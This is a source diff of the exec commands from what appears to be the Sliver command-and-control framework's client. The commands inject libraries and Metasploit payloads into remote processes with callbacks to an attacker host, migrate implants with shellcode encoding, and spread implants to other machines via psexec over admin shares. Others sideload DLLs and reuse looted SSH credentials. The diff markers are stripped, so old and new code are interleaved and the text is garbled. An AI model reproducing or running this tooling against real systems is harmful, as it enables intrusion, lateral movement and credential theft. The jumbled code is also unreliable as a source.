stdout := ctx.Flags.String("stdout")
stderr := ctx.Flags.String("stderr")
cmdPath := ctx.Args.String("command")
args := ctx.Args.StringList("arguments")
output, _ := cmd.Flags().GetBool("output")
output := ctx.Flags.Bool("output")
if !output {
if exec.Status == 0 {
con.PrintInfof("Command executed successfully\n")
@@ -152,14 +111,17 @@ func PrintExecute(exec *sliverpb.Execute, cmd *cobra.Command, con *console.Slive
return
}
combined := ""
if stdout == "" {
con.PrintInfof("Output:\n%s", string(exec.Stdout))
combined = string(exec.Stdout)
con.PrintInfof("Output:\n%s", combined)
} else {
con.PrintInfof("Stdout saved at %s\n", stdout)
}
if stderr == "" {
if !ignoreStderr && 0 < len(exec.Stderr) {
combined = fmt.Sprintf("%s\nStderr:\n%s", combined, string(exec.Stderr))
con.PrintInfof("Stderr:\n%s", string(exec.Stderr))
}
} else {
@@ -169,96 +131,13 @@ func PrintExecute(exec *sliverpb.Execute, cmd *cobra.Command, con *console.Slive
if exec.Status != 0 {
con.PrintErrorf("Exited with status %d!\n", exec.Status)
}
}
func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.Hostname
}
if beacon != nil {
return beacon.Hostname
}
return ""
}
func determineCommandName(command string) string {
commandName := strings.ReplaceAll(command, "\\", "/")
commandName = commandName[strings.LastIndex(commandName, "/")+1:]
if strings.Contains(commandName, ".") {
commandName = commandName[:strings.LastIndex(commandName, ".")]
}
return commandName
}
func combineCommandOutput(exec *sliverpb.Execute, combineStdOut bool, combineStdErr bool) []byte {
var outputString string = ""
if combineStdOut {
outputString += "Output (stdout):\n" + string(exec.Stdout)
}
if combineStdErr {
if combineStdOut {
outputString += "\n"
if saveLoot && 0 < len(combined) {
name := fmt.Sprintf("[exec] %s %s", cmdPath, strings.Join(args, " "))
err := loot.AddLootFile(con.Rpc, name, "console.txt", []byte(combined), false)
if err != nil {
con.PrintErrorf("Failed to save output as loot: %s\n", err)
} else {
con.PrintInfof("Output saved as loot\n")
}
outputString += "Stderr:\n" + string(exec.Stderr)
}
return []byte(outputString)
}
func LootExecute(commandOutput []byte, lootName string, sliverCmdName string, cmdName string, hostName string, con *console.SliverConsoleClient) {
if len(commandOutput) == 0 {
con.PrintInfof("There was no output from execution, so there is nothing to loot.\n")
return
}
timeNow := time.Now().UTC().Format("20060102150405")
shortCommandName := determineCommandName(cmdName)
fileName := fmt.Sprintf("%s_%s_%s_%s.log", sliverCmdName, hostName, shortCommandName, timeNow)
if lootName == "" {
lootName = fmt.Sprintf("[%s] %s on %s (%s)", sliverCmdName, shortCommandName, hostName, timeNow)
}
lootMessage := loot.CreateLootMessage(con.ActiveTarget.GetHostUUID(), fileName, lootName, clientpb.FileType_TEXT, commandOutput)
loot.SendLootMessage(lootMessage, con)
}
func PrintExecutionOutput(executionOutput string, saveOutput bool, commandName string, hostName string, con *console.SliverConsoleClient) {
con.PrintInfof("Output:\n%s", executionOutput)
if saveOutput {
SaveExecutionOutput(executionOutput, commandName, hostName, con)
}
}
func SaveExecutionOutput(executionOutput string, commandName string, hostName string, con *console.SliverConsoleClient) {
var outFilePath *os.File
var err error
if len(executionOutput) == 0 {
con.PrintInfof("There was no output from execution, so there is nothing to save.")
return
}
timeNow := time.Now().UTC().Format("20060102150405")
outFileName := filepath.Base(fmt.Sprintf("%s_%s_%s*.log", commandName, hostName, timeNow))
outFilePath, err = os.CreateTemp("", outFileName)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if outFilePath != nil {
outFilePath.Write([]byte(executionOutput))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
+58
View File
@@ -0,0 +1,58 @@
package exec
import (
"context"
"fmt"
"io/ioutil"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
func LibInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
libPath := ctx.Args.String("library-path")
pid := ctx.Args.Uint64("pid")
data, err := ioutil.ReadFile(libPath)
if err != nil {
con.PrintErrorf("%s", err)
return
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Injecting %s into %d...", libPath, pid), ctrl)
libInject, err := con.Rpc.LibInject(context.Background(), &sliverpb.LibInjectReq{
Request: con.ActiveTarget.Request(ctx),
Pid: pid,
Data: data,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s", err)
return
}
if libInject.Response != nil && libInject.Response.Async {
con.AddBeaconCallback(libInject.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, libInject)
if err != nil {
con.PrintErrorf("Failed to decode response: %s", err)
return
}
con.PrintInfof("Injected %s into %d\n", libPath, pid)
})
con.PrintAsyncResponse(libInject.Response)
} else {
con.PrintInfof("Injected %s into %d\n", libPath, pid)
}
}
+5 -47
View File
@@ -3,17 +3,14 @@ package exec
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
@@ -21,66 +18,27 @@ package exec
import (
"context"
"fmt"
"strings"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// MigrateCmd - Windows only, inject an implant into another process
func MigrateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSession()
if session == nil {
return
}
pid, _ := cmd.Flags().GetUint32("pid")
procName, _ := cmd.Flags().GetString("process-name")
if pid == 0 && procName == "" {
con.PrintErrorf("Error: Must specify either a PID or process name\n")
return
}
if procName != "" {
procCtrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Searching for %s ...", procName), procCtrl)
proc, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(cmd),
})
if err != nil {
con.PrintErrorf("Error: %v\n", err)
return
}
procCtrl <- true
<-procCtrl
for _, p := range proc.GetProcesses() {
if strings.EqualFold(p.Executable, procName) {
pid = uint32(p.Pid)
break
}
}
if pid == 0 {
con.PrintErrorf("Error: Could not find process %s\n", procName)
return
}
con.PrintInfof("Process name specified, overriding PID with %d\n", pid)
}
pid := ctx.Args.Uint("pid")
config := con.GetActiveSessionConfig()
encoder := clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
if disableSgn, _ := cmd.Flags().GetBool("disable-sgn"); disableSgn {
encoder = clientpb.ShellcodeEncoder_NONE
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Migrating into %d ...", pid), ctrl)
migrate, err := con.Rpc.Migrate(context.Background(), &clientpb.MigrateReq{
Pid: pid,
Pid: uint32(pid),
Config: config,
Request: con.ActiveTarget.Request(cmd),
Encoder: encoder,
Request: con.ActiveTarget.Request(ctx),
})
ctrl <- true
<-ctrl
+17 -35
View File
@@ -22,54 +22,45 @@ import (
"context"
"fmt"
"google.golang.org/protobuf/proto"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// MsfInjectCmd - Inject a metasploit payload into a remote process
func MsfInjectCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
payloadName, _ := cmd.Flags().GetString("payload")
lhost, _ := cmd.Flags().GetString("lhost")
lport, _ := cmd.Flags().GetInt("lport")
encoder, _ := cmd.Flags().GetString("encoder")
iterations, _ := cmd.Flags().GetInt("iterations")
pid, _ := cmd.Flags().GetInt("pid")
payloadName := ctx.Flags.String("payload")
lhost := ctx.Flags.String("lhost")
lport := ctx.Flags.Int("lport")
encoder := ctx.Flags.String("encoder")
iterations := ctx.Flags.Int("iterations")
pid := ctx.Flags.Int("pid")
if lhost == "" {
con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
return
}
if pid == -1 {
con.PrintErrorf("Invalid pid '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
return
}
var goos string
var goarch string
if session != nil {
goos = session.OS
goarch = session.Arch
} else {
goos = beacon.OS
goarch = beacon.Arch
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Sending msf payload %s %s/%s -> %s:%d ...",
payloadName, goos, goarch, lhost, lport)
msg := fmt.Sprintf("Injecting payload %s %s/%s -> %s:%d ...",
payloadName, session.OS, session.Arch, lhost, lport)
con.SpinUntil(msg, ctrl)
msfTask, err := con.Rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
Request: con.ActiveTarget.Request(cmd),
Request: con.ActiveTarget.Request(ctx),
Payload: payloadName,
LHost: lhost,
LPort: uint32(lport),
@@ -99,15 +90,6 @@ func MsfInjectCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []s
}
}
// PrintMsfRemote - Print the results of the remote injection attempt
func PrintMsfRemote(msfRemote *sliverpb.Task, con *console.SliverConsoleClient) {
if msfRemote.Response == nil {
con.PrintErrorf("Empty response from msf payload injection task")
return
}
if msfRemote.Response.Err != "" {
con.PrintInfof("Executed payload on target")
} else {
con.PrintErrorf("Failed to inject payload: %s", msfRemote.Response.Err)
}
}
+15 -39
View File
@@ -22,48 +22,37 @@ import (
"context"
"fmt"
"google.golang.org/protobuf/proto"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// MsfCmd - Inject a metasploit payload into the current remote process
func MsfCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
payloadName, _ := cmd.Flags().GetString("payload")
lhost, _ := cmd.Flags().GetString("lhost")
lport, _ := cmd.Flags().GetInt("lport")
encoder, _ := cmd.Flags().GetString("encoder")
iterations, _ := cmd.Flags().GetInt("iterations")
payloadName := ctx.Flags.String("payload")
lhost := ctx.Flags.String("lhost")
lport := ctx.Flags.Int("lport")
encoder := ctx.Flags.String("encoder")
iterations := ctx.Flags.Int("iterations")
if lhost == "" {
con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfStr)
return
}
var goos string
var goarch string
if session != nil {
goos = session.OS
goarch = session.Arch
} else {
goos = beacon.OS
goarch = beacon.Arch
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Sending msf payload %s %s/%s -> %s:%d ...",
payloadName, goos, goarch, lhost, lport)
msg := fmt.Sprintf("Sending payload %s %s/%s -> %s:%d ...",
payloadName, session.OS, session.Arch, lhost, lport)
con.SpinUntil(msg, ctrl)
msfTask, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
Request: con.ActiveTarget.Request(cmd),
_, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
Request: con.ActiveTarget.Request(ctx),
Payload: payloadName,
LHost: lhost,
LPort: uint32(lport),
@@ -74,20 +63,7 @@ func MsfCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string)
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if msfTask.Response != nil && msfTask.Response.Async {
con.AddBeaconCallback(msfTask.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, msfTask)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintMsfRemote(msfTask, con)
})
con.PrintAsyncResponse(msfTask.Response)
} else {
PrintMsfRemote(msfTask, con)
con.PrintInfof("Executed payload on target\n")
}
}
+44 -86
View File
@@ -21,14 +21,10 @@ package exec
import (
"context"
"fmt"
"os"
insecureRand "math/rand"
"strings"
"time"
insecureRand "math/rand"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
@@ -36,27 +32,26 @@ import (
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"github.com/desertbit/grumble"
)
// PsExecCmd - psexec command implementation.
func PsExecCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
hostname := args[0]
hostname := ctx.Args.String("hostname")
if hostname == "" {
con.PrintErrorf("You need to provide a target host, see `help psexec` for examples")
return
}
var serviceBinary []byte
profile, _ := cmd.Flags().GetString("profile")
serviceName, _ := cmd.Flags().GetString("service-name")
serviceDesc, _ := cmd.Flags().GetString("service-description")
binPath, _ := cmd.Flags().GetString("binpath")
customExe, _ := cmd.Flags().GetString("custom-exe")
uploadPath := fmt.Sprintf(`\\%s\%s`, hostname, strings.ReplaceAll(strings.ToLower(binPath), "c:", "C$"))
profile := ctx.Flags.String("profile")
serviceName := ctx.Flags.String("service-name")
serviceDesc := ctx.Flags.String("service-description")
binPath := ctx.Flags.String("binpath")
uploadPath := fmt.Sprintf(`\\%s\%s`, hostname, strings.ReplaceAll(strings.ToLower(ctx.Flags.String("binpath")), "c:", "C$"))
if serviceName == "Sliver" || serviceDesc == "Sliver implant" {
con.PrintWarnf("You're going to deploy the following service:\n- Name: %s\n- Description: %s\n", serviceName, serviceDesc)
@@ -66,46 +61,35 @@ func PsExecCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri
}
}
if customExe == "" {
if profile == "" {
con.PrintErrorf("You need to pass a profile name, see `help psexec` for more info\n")
return
}
// generate sliver
generateCtrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Generating sliver binary for %s\n", profile), generateCtrl)
profiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Error: %s\n", err)
return
}
generateCtrl <- true
<-generateCtrl
var implantProfile *clientpb.ImplantProfile
for _, prof := range profiles.Profiles {
if prof.Name == profile {
implantProfile = prof
}
}
if implantProfile.GetName() == "" {
con.PrintErrorf("No profile found for name %s\n", profile)
return
}
serviceBinary, _ = generate.GetSliverBinary(implantProfile, con)
} else {
// use a custom exe instead of generating a new Sliver
fileBytes, err := os.ReadFile(customExe)
if err != nil {
con.PrintErrorf("Error reading custom executable '%s'\n", customExe)
return
}
serviceBinary = fileBytes
if profile == "" {
con.PrintErrorf("You need to pass a profile name, see `help psexec` for more info\n")
return
}
filename := randomFileName()
// generate sliver
generateCtrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Generating sliver binary for %s\n", profile), generateCtrl)
profiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Error: %s\n", err)
return
}
generateCtrl <- true
<-generateCtrl
var implantProfile *clientpb.ImplantProfile
for _, prof := range profiles.Profiles {
if prof.Name == profile {
implantProfile = prof
}
}
if implantProfile.GetName() == "" {
con.PrintErrorf("No profile found for name %s\n", profile)
return
}
sliverBinary, err := generate.GetSliverBinary(implantProfile, con)
filename := randomString(10)
filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename)
uploadGzip, _ := new(encoders.Gzip).Encode(serviceBinary)
uploadGzip := new(encoders.Gzip).Encode(sliverBinary)
// upload to remote target
uploadCtrl := make(chan bool)
con.SpinUntil("Uploading service binary ...", uploadCtrl)
@@ -113,7 +97,7 @@ func PsExecCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri
Encoder: "gzip",
Data: uploadGzip,
Path: filePath,
Request: con.ActiveTarget.Request(cmd),
Request: con.ActiveTarget.Request(ctx),
})
uploadCtrl <- true
<-uploadCtrl
@@ -136,7 +120,7 @@ func PsExecCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri
start, err := con.Rpc.StartService(context.Background(), &sliverpb.StartServiceReq{
BinPath: binaryPath,
Hostname: hostname,
Request: con.ActiveTarget.Request(cmd),
Request: con.ActiveTarget.Request(ctx),
ServiceDescription: serviceDesc,
ServiceName: serviceName,
Arguments: "",
@@ -159,7 +143,7 @@ func PsExecCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri
Hostname: hostname,
ServiceName: serviceName,
},
Request: con.ActiveTarget.Request(cmd),
Request: con.ActiveTarget.Request(ctx),
})
removeChan <- true
<-removeChan
@@ -174,37 +158,11 @@ func PsExecCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri
con.PrintInfof("Successfully removed service %s on %s\n", serviceName, hostname)
}
func randomString() string {
alphanumeric := "abcdefghijklmnopqrstuvwxyz0123456789"
str := ""
for index := 0; index < insecureRand.Intn(8)+1; index++ {
str += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
func randomString(length int) string {
var charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
b := make([]byte, length)
for i := range b {
b[i] = charset[insecureRand.Intn(len(charset))]
}
return str
}
func randomFileName() string {
noun := randomString()
noun = strings.ToLower(noun)
switch insecureRand.Intn(3) {
case 0:
noun = strings.ToUpper(noun)
case 1:
noun = strings.ToTitle(noun)
}
separators := []string{"", "", "", "", "", ".", "-", "_", "--", "__"}
sep := separators[insecureRand.Intn(len(separators))]
alphanumeric := "abcdefghijklmnopqrstuvwxyz0123456789"
prefix := ""
for index := 0; index < insecureRand.Intn(3); index++ {
prefix += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
}
suffix := ""
for index := 0; index < insecureRand.Intn(6)+1; index++ {
suffix += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
}
return fmt.Sprintf("%s%s%s%s%s", prefix, sep, noun, sep, suffix)
return string(b)
}
+31 -35
View File
@@ -21,56 +21,47 @@ package exec
import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
"google.golang.org/protobuf/proto"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// SideloadCmd - Sideload a shared library on the remote system
func SideloadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
binPath := args[0]
binArgs := strings.Join(args[1:], " ")
binPath := ctx.Args.String("filepath")
entryPoint, _ := cmd.Flags().GetString("entry-point")
processName, _ := cmd.Flags().GetString("process")
keepAlive, _ := cmd.Flags().GetBool("keep-alive")
isUnicode, _ := cmd.Flags().GetBool("unicode")
pPid, _ := cmd.Flags().GetUint32("ppid")
entryPoint := ctx.Flags.String("entry-point")
processName := ctx.Flags.String("process")
args := strings.Join(ctx.Args.StringList("args"), " ")
binData, err := os.ReadFile(binPath)
binData, err := ioutil.ReadFile(binPath)
if err != nil {
con.PrintErrorf("%s", err.Error())
return
}
processArgsStr, _ := cmd.Flags().GetString("process-arguments")
processArgs := strings.Split(processArgsStr, " ")
isDLL := (filepath.Ext(binPath) == ".dll")
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Sideloading %s ...", binPath), ctrl)
sideload, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
Request: con.ActiveTarget.Request(cmd),
Args: binArgs,
Request: con.ActiveTarget.Request(ctx),
Args: args,
Data: binData,
EntryPoint: entryPoint,
ProcessName: processName,
Kill: !keepAlive,
Kill: !ctx.Flags.Bool("keep-alive"),
IsDLL: isDLL,
IsUnicode: isUnicode,
PPid: pPid,
ProcessArgs: processArgs,
})
ctrl <- true
<-ctrl
@@ -79,7 +70,7 @@ func SideloadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st
return
}
hostName := getHostname(session, beacon)
hostname := getHostname(session, beacon)
if sideload.Response != nil && sideload.Response.Async {
con.AddBeaconCallback(sideload.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, sideload)
@@ -87,29 +78,34 @@ func SideloadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
HandleSideloadResponse(sideload, binPath, hostName, cmd, con)
PrintSideload(sideload, hostname, ctx, con)
})
con.PrintAsyncResponse(sideload.Response)
} else {
HandleSideloadResponse(sideload, binPath, hostName, cmd, con)
PrintSideload(sideload, hostname, ctx, con)
}
}
func HandleSideloadResponse(sideload *sliverpb.Sideload, binPath string, hostName string, cmd *cobra.Command, con *console.SliverConsoleClient) {
saveLoot, _ := cmd.Flags().GetBool("loot")
lootName, _ := cmd.Flags().GetString("name")
// PrintSideload - Print the sideload command output
func PrintSideload(sideload *sliverpb.Sideload, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
if sideload.GetResponse().GetErr() != "" {
con.PrintErrorf("%s\n", sideload.GetResponse().GetErr())
return
}
save, _ := cmd.Flags().GetBool("save")
PrintExecutionOutput(sideload.GetResult(), save, cmd.Name(), hostName, con)
if saveLoot {
LootExecute([]byte(sideload.Result), lootName, cmd.Name(), binPath, hostName, con)
var outFilePath *os.File
var err error
if ctx.Flags.Bool("save") {
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
con.PrintInfof("Output:\n%s", sideload.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(sideload.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
+31 -46
View File
@@ -1,52 +1,32 @@
package exec
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
"google.golang.org/protobuf/proto"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// SpawnDllCmd - Spawn execution of a DLL on the remote system
func SpawnDllCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
binPath := args[0]
dllArgs := strings.Join(args[1:], " ")
dllArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
binPath := ctx.Args.String("filepath")
processName := ctx.Flags.String("process")
exportName := ctx.Flags.String("export")
processName, _ := cmd.Flags().GetString("process")
exportName, _ := cmd.Flags().GetString("export")
keepAlive, _ := cmd.Flags().GetBool("keep-alive")
binData, err := os.ReadFile(binPath)
binData, err := ioutil.ReadFile(binPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -58,8 +38,8 @@ func SpawnDllCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st
ProcessName: processName,
Args: dllArgs,
EntryPoint: exportName,
Request: con.ActiveTarget.Request(cmd),
Kill: !keepAlive,
Request: con.ActiveTarget.Request(ctx),
Kill: !ctx.Flags.Bool("keep-alive"),
})
if err != nil {
con.PrintErrorf("%s\n", err)
@@ -68,7 +48,7 @@ func SpawnDllCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st
ctrl <- true
<-ctrl
hostName := getHostname(session, beacon)
hostname := getHostname(session, beacon)
if spawndll.Response != nil && spawndll.Response.Async {
con.AddBeaconCallback(spawndll.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, spawndll)
@@ -76,29 +56,34 @@ func SpawnDllCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
HandleSpawnDLLResponse(spawndll, binPath, hostName, cmd, con)
PrintSpawnDll(spawndll, hostname, ctx, con)
})
con.PrintAsyncResponse(spawndll.Response)
} else {
HandleSpawnDLLResponse(spawndll, binPath, hostName, cmd, con)
PrintSpawnDll(spawndll, hostname, ctx, con)
}
}
func HandleSpawnDLLResponse(spawndll *sliverpb.SpawnDll, binPath string, hostName string, cmd *cobra.Command, con *console.SliverConsoleClient) {
saveLoot, _ := cmd.Flags().GetBool("loot")
lootName, _ := cmd.Flags().GetString("name")
// PrintSpawnDll - Print the SpawnDll command response
func PrintSpawnDll(spawndll *sliverpb.SpawnDll, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
if spawndll.GetResponse().GetErr() != "" {
con.PrintErrorf("Failed to spawn dll: %s\n", spawndll.GetResponse().GetErr())
return
}
save, _ := cmd.Flags().GetBool("save")
PrintExecutionOutput(spawndll.GetResult(), save, cmd.Name(), hostName, con)
if saveLoot {
LootExecute([]byte(spawndll.GetResult()), lootName, cmd.Name(), binPath, hostName, con)
var outFilePath *os.File
var err error
if ctx.Flags.Bool("save") {
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
con.PrintInfof("Output:\n%s", spawndll.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(spawndll.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
+27 -67
View File
@@ -1,39 +1,21 @@
package exec
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"os"
"io/ioutil"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// SSHCmd - A built-in SSH client command for the remote system (doesn't shell out)
func SSHCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var (
privKey []byte
err error
@@ -43,45 +25,26 @@ func SSHCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string)
return
}
username, _ := cmd.Flags().GetString("login")
username := ctx.Flags.String("login")
if username == "" {
username = session.GetUsername()
}
port, _ := cmd.Flags().GetUint("port")
privateKeyPath, _ := cmd.Flags().GetString("private-key")
if privateKeyPath != "" {
privKey, err = os.ReadFile(privateKeyPath)
port := ctx.Flags.Uint("port")
privateKeypath := ctx.Flags.String("private-key")
if privateKeypath != "" {
privKey, err = ioutil.ReadFile(privateKeypath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
password, _ := cmd.Flags().GetString("password")
password := ctx.Flags.String("password")
hostname := args[0]
command := args[1:]
hostname := ctx.Args.String("hostname")
command := ctx.Args.StringList("command")
kerberosRealm, _ := cmd.Flags().GetString("kerberos-realm")
kerberosConfig, _ := cmd.Flags().GetString("kerberos-config")
kerberosKeytabFile, _ := cmd.Flags().GetString("kerberos-keytab")
if kerberosRealm != "" && kerberosKeytabFile == "" {
con.PrintErrorf("You must specify a keytab file with the --kerberos-keytab flag\n")
return
}
kerberosKeytab := []byte{}
if kerberosKeytabFile != "" {
kerberosKeytab, err = os.ReadFile(kerberosKeytabFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
skipLoot, _ := cmd.Flags().GetBool("skip-loot")
if password == "" && len(privKey) == 0 && !skipLoot {
if password == "" && len(privKey) == 0 && !ctx.Flags.Bool("skip-loot") {
oldUsername := username
username, password, privKey = tryCredsFromLoot(con)
if username == "" {
@@ -96,10 +59,7 @@ func SSHCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string)
PrivKey: privKey,
Password: password,
Command: strings.Join(command, " "),
Realm: kerberosRealm,
Krb5Conf: kerberosConfig,
